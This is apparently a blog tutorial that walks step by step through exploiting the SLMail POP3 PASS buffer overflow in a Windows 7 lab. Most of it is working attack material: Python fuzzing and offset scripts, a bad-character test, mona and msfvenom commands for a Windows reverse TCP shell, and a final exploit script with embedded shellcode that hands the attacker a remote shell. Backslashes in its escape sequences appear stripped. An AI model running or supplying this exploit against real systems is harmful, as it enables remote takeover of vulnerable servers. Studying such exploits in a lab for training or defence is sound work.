attheoaks.com

Unraveling the SLMail POP3 Buffer Overflow Vulnerability

Written on

Chapter 1: Introduction to Buffer Overflow Vulnerabilities

In the complex realm of cybersecurity, vulnerabilities pose ongoing risks to system integrity and data safety. A notable instance is the SLMail POP3 buffer overflow vulnerability, which illustrates the threats posed by unaddressed software flaws. This discussion aims to provide insight into this specific vulnerability.

The SLMail POP3 buffer overflow highlights a significant vulnerability within the SLMail email server, enabling attackers to exploit its POP3 service using maliciously crafted payloads. This scenario exemplifies the widespread danger associated with buffer overflow vulnerabilities, where attackers take advantage of software weaknesses to overwrite critical memory regions and execute arbitrary code.

Buffer overflow occurs when a program attempts to write more data to a buffer than it can accommodate. This can lead to memory corruption, potential crashes, or even allow attackers to execute harmful code. It is a prevalent security issue, particularly in applications written in languages such as C or C++.

Requirements:

  • Attacker machine: OS - Kali Linux | Application - Netcat
  • Victim machine: OS - Windows 7 (32 bit) | Applications - SLMail, Immunity Debugger | Service - POP3 | Ensure Windows Defender and Firewall are disabled

Chapter 2: Exploitation Process

Fuzzing Technique

Fuzzing involves sending malformed data to application inputs and observing for unexpected behavior or crashes. Such anomalies can indicate inadequate input filtering, potentially revealing exploitable vulnerabilities.

The buffer overflow in question targets the POP3 PASS command used during user authentication. Our first step is to test the PASS parameter for susceptibility to buffer overflow. We will utilize a script that generates strings ranging from 100 to 3500 bytes, sending these (fuzzing) to the PASS parameter via a socket connection to identify any crashes.

#!/usr/bin/python

import socket

buffer = ["A"]

counter = 100

while len(buffer) <= 30:

buffer.append("A" * counter)

counter += 200

for string in buffer:

print("Fuzzing PASS with %s bytes" % len(string))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect = s.connect(('<ip-target>', 110))

s.recv(1024)

s.send(str.encode('USER testrn'))

s.recv(1024)

s.send(str.encode('PASS ' + string + 'rn'))

s.send(str.encode('QUITrn'))

s.close()

> Be sure to modify the IP address as needed. Launch the SLMail service as an administrator and start the POP3 server.

SLMail service running

Next, open Immunity Debugger, navigate to File > Attach > SLMail, and click the Run button.

Attaching Immunity Debugger to SLMail

Now, execute the modified fuzzing Python script to check for crashes.

Running fuzzing script

Upon reaching 2900 bytes, we see a crash, with the debugger revealing that the EIP register is overwritten with the hexadecimal “41414141” (which translates to “AAAA”). This confirms the application's vulnerability to a buffer overflow.

Finding the EIP Offset

Once we identify the vulnerable parameter, we proceed to find the EIP offset. We will use the pattern_create.rb tool located in the /usr/share/metasploit-framework/tools/exploit/ directory with the following command:

./pattern_create.rb -l 2900

Generating EIP pattern

This command generates a 2900-byte pattern that we will send to our application using the subsequent Python script:

#!/usr/bin/python

import socket

buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ab5Ab6Ab7Ab8Ab9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9"

print("Fuzzing PASS with %s bytes" % len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect = s.connect(('<ip-target>', 110))

s.recv(1024)

s.send(str.encode('USER testrn'))

s.recv(1024)

s.send(str.encode('PASS ' + buffer + 'rn'))

s.send(str.encode('QUITrn'))

s.close()

After executing the script, check if SLMail and Immunity Debugger are operational, then run the Python script to observe the outcome.

Analyzing EIP register values

In this case, the EIP register displays “39694438,” which will be employed to locate the precise byte offset.

Next, copy the EIP address and use the pattern_offset.rb tool to find its offset:

../pattern_offset.rb -l 2900 -q 39694438

Determining EIP offset

This process reveals that the EIP offset is at byte 2606.

Identifying Bad Characters

Before searching for a space to execute shellcode, it’s crucial to check for bad characters. Certain characters, like the null byte (0x00), should be excluded from your buffer, return address, or shellcode as they can disrupt execution.

To identify bad characters, run the following Python script:

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.settimeout(30)

# Create a variable to hold all ASCII characters

badchars = (

"x01x02x03x04x05x06x07x08x09x0bx0cx0dx0ex0fx10"

"x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20"

"x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30"

"x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40"

"x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50"

"x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60"

"x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70"

"x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80"

"x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90"

"x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0"

"xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0"

"xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0"

"xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0"

"xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0"

"xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0"

"xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff")

# Create a buffer of 2606 As, 4 Bs and the ASCII characters

buffer = "A" * 2606 + "B" * 4 + badchars

try:

print("nSending buffer...")

s.connect(('192.168.1.12', 110))

data = s.recv(1024)

s.send(b"USER testn") # Ensure sending bytes

data = s.recv(1024)

s.send(b"PASS " + buffer.encode() + b"n") # Ensure sending bytes and newline character

print("nSent Done")

except socket.timeout:

print("Could not connect!")
Identifying bad characters

Right-click on the ESP address and choose "Follow in Dump" to search for bad characters.

Following ESP address

In the hex dump, ‘A’ is represented by 41 and ‘B’ by 42. We populated memory with the bad characters from the script to identify issues. We found that characters from x01 to x09 worked fine, but x0a caused problems. Hence, we mark x0a as a bad character and remove it from the script.

We repeat this process to check for more bad characters, ultimately concluding that x00, x0a, and x0d are problematic.

Control Flow Manipulation

Identifying a return address with a JMP ESP instruction is vital. This allows the execution flow to redirect to the address in the ESP register. By pinpointing a reliable address in memory that has a JMP ESP instruction, we can effectively execute our payload.

Utilizing the msf-nasm_shell tool, we can find the hexadecimal representation of the JMP ESP instruction.

msf-nasm_shell > JMP ESP

The output indicates that FFE4 is our memory location value for the jump, which we will use after identifying the necessary DLL.

To display all loaded DLLs, execute the command below and choose a DLL where Rebase, SafeSEH, ASLR, and NXCompat are all set to false:

!mona modules

DLL protection flags

In the example above, the SLMFC.dll module has all the essential memory protection flags disabled, allowing us to analyze and exploit it confidently.

Next, we find the JMP ESP address in SLMFC.DLL using the command below, selecting the first address from the output:

!mona find -s "xffxe4" -m slmfc.dll

Finding JMP ESP address

The first address identified is 0x5f4a358f.

Generating Shellcode with Metasploit

In this phase, we will create an inline reverse shell payload while avoiding the previously identified bad characters.

msfvenom -p windows/shell_reverse_tcp LHOST=<attacker-ip> LPORT=4444 -e x86/shikata_ga_nai -b 'x00x0ax0d' -f c -a x86 --platform windows

This command generates a Windows reverse TCP shell payload, specifying the local host IP and port for the reverse connection. The x86/shikata_ga_nai encoder obfuscates the payload, avoiding null bytes, line feeds, and carriage returns, with the output formatted in C for x86 architecture targeting Windows.

Generated reverse shell payload

We then integrate the shellcode into our Python script with necessary modifications. To ensure our shellcode remains intact amidst potential decoder overwrites, we prepend approximately 20 NOPs (0x90) to our shellcode in the buffer variable.

Here’s the updated script:

#!/usr/bin/python

import socket

shellcode = (

b"xb8x0cxd9xd7xb3xd9xeexd9x74x24xf4x5ax29xc9"

b"xb1x52x31x42x12x83xeaxfcx03x4exd7x35x46xb2"

b"x0fx3bxa9x4axd0x5cx23xafxe1x5cx57xa4x52x6d"

b"x13xe8x5ex06x71x18xd4x6ax5ex2fx5dxc0xb8x1e"

b"x5ex79xf8x01xdcx80x2dxe1xddx4ax20xe0x1axb6"

b"xc9xb0xf3xbcx7cx24x77x88xbcxcfxcbx1cxc5x2c"

b"x9bx1fxe4xe3x97x79x26x02x7bxf2x6fx1cx98x3f"

b"x39x97x6axcbxb8x71xa3x34x16xbcx0bxc7x66xf9"

b"xacx38x1dxf3xcexc5x26xc0xadx11xa2xd2x16xd1"

b"x14x3exa6x36xc2xb5xa4xf3x80x91xa8x02x44xaa"

b"xd5x8fx6bx7cx5cxcbx4fx58x04x8fxeexf9xe0x7e"

b"x0ex19x4bxdexaax52x66x0bxc7x39xefxf8xeaxc1"

b"xefx96x7dxb2xddx39xd6x5cx6exb1xf0x9bx91xe8"

b"x45x33x6cx13xb6x1axabx47xe6x34x1axe8x6dxc4"

b"xa3x3dx21x94x0bxeex82x44xecx5ex6bx8exe3x81"

b"x8bxb1x29xaax26x48xbax15x1ex53x2bxfex5dx53"

b"x5axa2xe8xb5x36x4axbdx6exafxf3xe4xe4x4exfb"

b"x32x81x51x77xb1x76x1fx70xbcx64xc8x70x8bxd6"

b"x5fx8ex21x7ex03x1dxaex7ex4ax3ex79x29x1bxf0"

b"x70xbfxb1xabx2axddx4bx2dx14x65x90x8ex9bx64"

b"x55xaaxbfx76xa3x33x84x22x7bx62x52x9cx3dxdc"

b"x14x76x94xb3xfex1ex61xf8xc0x58x6exd5xb6x84"

b"xdfx80x8exbbxd0x44x07xc4x0cxf5xe8x1fx95x05"

b"xa3x3dxbcx8dx6axd4xfcxd3x8cx03xc2xedx0exa1"

b"xbbx09x0exc0xbex56x88x39xb3xc7x7dx3dx60xe7"

b"x57")

fuzzingcode = b"A" * 2606

EIPAddress = b"x8fx35x4ax5f"

breathroom = b"x90" * 16

buffer = fuzzingcode + b"B" + EIPAddress + breathroom + shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect = s.connect(('192.168.1.12', 110))

data = s.recv(1024)

s.send(b'USER usernamern')

data = s.recv(1024)

s.send(b'PASS ' + buffer + b'rn')

s.close()

Obtaining a Shell

Start a netcat listener on port 4444 and ensure the POP3 service is operational. Then execute the final exploit script to establish a reverse shell connection.

Netcat listener running

Through this process, we successfully exploited the buffer overflow vulnerability, gaining control over the targeted machine.

Conclusion

This article illustrated the steps involved in exploiting a buffer overflow vulnerability. We began by fuzzing application inputs to identify weak points. Following the discovery of the vulnerable parameter, we crafted a payload with the Metasploit Framework’s msfvenom tool, ensuring it could bypass common defenses. By carefully structuring the payload and including NOP sleds to protect against decoder issues, we executed the final exploit, achieving control over the target system. This case underscores the necessity for thorough vulnerability assessment and secure coding practices to maintain resilient software defenses.

Share the page:

Twitter Facebook Reddit LinkIn

-----------------------

Recent Post:

# Recognizing Selfishness: Key Traits to Watch Out For

Discover essential traits to identify selfish individuals and learn how to protect your energy.

Exploring the Chinese Room: AI, Consciousness, and Understanding

A deep dive into the Chinese Room thought experiment, exploring the distinctions between strong and weak AI and their implications on consciousness.

Is the AirPods 2 Still a Smart Buy in Late 2023?

In this review, we explore whether the AirPods 2 remain a viable option in late 2023 or if newer models offer better value.